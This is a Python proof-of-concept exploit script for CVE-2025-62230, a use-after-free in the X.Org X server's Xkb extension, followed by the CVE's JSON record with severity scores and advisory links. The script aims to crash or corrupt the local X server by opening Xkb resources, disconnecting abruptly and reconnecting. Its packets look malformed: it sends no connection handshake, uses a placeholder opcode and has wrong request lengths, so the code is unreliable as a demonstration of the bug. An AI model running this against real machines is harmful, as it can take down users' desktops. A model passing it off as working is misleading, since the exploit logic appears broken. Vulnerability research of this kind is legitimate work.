CVE-2025-62230

#!/usr/bin/env python3 # CVE-2025-62230 PoC - X.Org X Server Xkb Extension Use-After-Free # This PoC demonstrates triggering the UAF condition in Xkb resource cleanup import socket import time import os def create_x11_connection(): """Establish connection to X server""" display = os.environ.get('DISPLAY', ':0') sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.connect(f'/tmp/.X11-unix/X{display.split(':')[1].split('.')[0]}') return sock def send_request(sock, data): """Send X11 protocol request""" sock.send(data) def trigger_xkb_uaf(): """ Trigger the use-after-free in Xkb extension cleanup. The vulnerability occurs when client disconnects without proper Xkb resource detachment. """ try: print("[*] Connecting to X server...") sock = create_x11_connection() # Step 1: Open XKB extension print("[*] Opening XKB extension...") # X QueryExtension for XKB (opcode typically 35+) query_ext = bytes([ 0x78, 0x00, # Major opcode placeholder 0x01, 0x00 # QueryExtension request ]) send_request(sock, query_ext) # Step 2: Create multiple XKB contexts to increase UAF probability for i in range(5): print(f"[*] Creating XKB context {i+1}...") # XkbGetMap, XkbGetState requests to allocate Xkb resources xkb_request = bytes([ 0x78, 0x00, # XKB opcode 0x03, 0x00, # XkbGetMap request 0x00, 0x00, 0x00, 0x00 ]) send_request(sock, xkb_request) time.sleep(0.1) # Step 3: Trigger rapid disconnect to cause incomplete cleanup print("[*] Triggering rapid disconnect...") sock.close() # Step 4: Immediately reconnect to trigger UAF access time.sleep(0.05) sock2 = create_x11_connection() # Step 5: Send requests that may access freed Xkb resources print("[*] Sending requests to trigger UAF condition...") for i in range(10): xkb_request = bytes([ 0x78, 0x00, 0x04, 0x00, # XkbGetState 0x00, 0x00, 0x00, 0x00 ]) send_request(sock2, xkb_request) time.sleep(0.01) sock2.close() print("[+] PoC executed - check X server logs for crash or errors") except Exception as e: print(f"[-] Error: {e}") print("[*] Note: This PoC may require specific X server configuration") if __name__ == "__main__": print("CVE-2025-62230 XKB Use-After-Free PoC") print("=" * 50) trigger_xkb_uaf()

{"cve": {"id": "CVE-2025-62230", "sourceIdentifier": "[email protected]", "published": "2025-10-30T06:15:45.593", "lastModified": "2026-04-20T14:16:15.090", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was discovered in the X.Org X server’s X Keyboard (Xkb) extension when handling client resource cleanup. The software frees certain data structures without properly detaching related resources, leading to a use-after-free condition. This can cause memory corruption or a crash when affected clients disconnect."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2025:19432", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:19433", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:19434", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:19435", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:19489", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:19623", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:19909", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:20958", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:20960", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:20961", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:21035", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22040", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22041", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22051", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22055", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22056", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22077", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22096", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22164", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22167", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22364", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22365", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22426", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22427", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22667", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22729", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22742", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22753", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:0031", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:0033", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:0034", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:0035", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:0036", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2025-62230", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2402653", "source": "[email protected]"}, {"url": "https://lists.x.org/archives/xorg-announce/2025-October/003635.html", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/28/7", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00033.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}